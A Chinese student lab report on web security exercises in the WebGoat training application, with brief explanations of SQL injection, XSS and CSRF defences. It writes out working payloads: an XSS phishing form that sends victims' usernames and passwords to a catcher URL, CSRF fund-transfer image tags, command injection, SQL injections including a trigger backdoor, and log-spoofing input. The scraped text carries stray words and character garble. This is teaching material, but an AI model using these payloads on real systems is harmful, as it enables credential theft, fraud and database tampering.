Exp9 Web安全基础

实验前回答问题

(1)SQL注入攻击原理,如何防护

  • SQL注入产生的缘由,和栈溢出、XSS等不少其余的攻击方法相似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期以外的动做。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程当中,超越了数据自己,成为了SQL语句查询逻辑的一部分,而后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期以外的动做。javascript

    解决办法

  • 从根本上防止上述类型攻击的手段,仍是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来讲,被执行的恶意代码是经过数据库的SQL解释引擎编译获得的,因此只要避免用户输入的数据被数据库系统编译就能够了。java

(2)XSS攻击的原理,如何防护

  • XSS攻击是Web攻击中最多见的攻击方法之一,它是经过对网页注入可执行代码且成功地被浏览器
    执行,达到攻击的目的,造成了一次有效XSS攻击,一旦攻击成功,它能够获取用户的联系人列
    表,而后向联系人发送虚假诈骗信息,能够删除用户的日志等等,有时候还和其余攻击方式同时实
    施好比SQL注入攻击服务器和数据库、Click劫持、相对连接劫持等实施钓鱼,它带来的危害是巨
    大的,是web安全的头号大敌web

    解决方法

  • 一种方法是在表单提交或者url参数传递前,对须要的参数进行过滤.
  • 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出sql

(3)CSRF攻击原理,如何防护

  • CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击同样,存在巨大的危害性,你能够这样来理解:
    攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做,好比以a的名义发送邮件、发消息,盗取a的帐号,添加系统管理员,甚至于购买商品、虚拟货币转帐等。数据库

    解决办法:

  • 目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。django

WebGoat进行实验

  • WebGoat使用8080端口,在浏览器上访问localhost:8080/WebGoat,进入WebGoat。

练习题目:

1.Phishing with XSS (网路钓鱼)

2.Stored XSS Attacks (存储型xss攻击)

3.Reflected XSS Attacks(非存储型xss攻击,反射型)

4.Cross Site Request Forgery

5.CSRF Prompt By-Pass

6.Command Injection

7.Numeric SQL Injection

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

9.Database Backdoors

10.Log Spoofing

XSS练习

1.Phishing with XSS (网路钓鱼)

  • 本题要在搜索框中输入XSS攻击代码,利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form,让受害人在咱们建立的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,而且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码以下:浏览器

    </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:
  • 而后随便填一下,提交
  •  

  • 这就是传数据回来了,攻击成功
  • 2.Stored XSS Attacks (存储型xss攻击)

    这个就有点弱鸡了,建立非法的消息内容,致使其余用户访问时载入非预期的页面或内容,这个和实验八里面差很少,就message中输入一串代码好比<script>alert("you have been died");</script>,而后提交后就蹦出来代码了
  • 3.Reflected XSS Attacks(非存储型xss攻击,反射型)

  • 当输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展现,好比下面这个购物车:
  • 这时若是咱们将带有攻击性的URL做为输入源,在zx那里输入<script>alert("lalala");</script>,就会弹出对话框:

第2个和第3个效果相同可是原理不一样

  • 存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。安全

  • 反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
    点击弹出本身的在该网站的cookie:服务器

CSRF攻击

4.Cross Site Request Forgery

  • 目的:写一个URL诱使其余用户点击,从而触发CSRF攻击,咱们能够以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 在message框中输入代码:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,其中Screen和menu在当前页面的右边Parameters进行查看:
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

5.CSRF Prompt By-Pass

  • 包括了两个请求,一是转帐请求,二是确认转帐成功请求,即须要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)
    先在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100进入确认转帐请求页面
  • 转帐请求
  • 点击CONFIRM按钮,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功转走了100元:
  • 确认转帐成功

Injection Flaws训练

6.Command Injection

  • 在目标主机上执行系统命令,经过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上"& netstat -an & ipconfig":
  • 以后在下拉菜单中能看到修改后的值
  • 选中修改后的值再点view,出现系统网络链接状况:

7.Numeric SQL Injection

  • 经过注入SQL字符串的方式查看全部的天气数据,加上一个1=1这种永真式便可达到目的,在任意一个值好比101旁边加上or 1=1
  • 选中Columbia,点Go,能够看到全部天气数据
  • LAB:SQL Injection(Stage 1:String SQL Injection)

  • 先以用户Neville登陆,在密码栏中输入' or 1=1 --进行SQL注入,登陆失败:
  • 到源代码里寻找缘由,发现最大键入值有问题,就八位,过小了,改为30位
  • 再退出,从新登陆,成功

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

先以用户名Larry登陆,登陆以后看到浏览员工信息的按钮是ViewProfile:cookie

  • 在网页代码中分析这个按钮,发现这个地方是以员工ID做为索引传递参数的,咱们要达到经过Larry来浏览老板帐户信息的目的,老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 从新登陆能够查看到老板的信息:

9.Database Backdoors

  • 先输101,获得了该用户的信息:
  • 发现输入的语句没有验证,能够进行SQL注入,输入注入语句:101; update employee set salary=200000
  • 攻击成功
  • 注入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
    表中一旦添加新用户那么就在用户表里将新用户的邮箱改成我设置的邮箱。

10.Log Spoofing

  • 输入的用户名会被追加到日志文件中,因此咱们可使用障眼法来使用户名为“admin”的用户在日志中显示“成功登陆”,在User Name文本框中输入zx%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
  • 攻击成功

实验体会

网络攻防课程结束了,这九次实验给我最大的体会就是工欲善其事必先利其器这句话。只有把事先的准备作好了,加上耐心细致的操做,才能作好实验。

相关文章
相关标签/搜索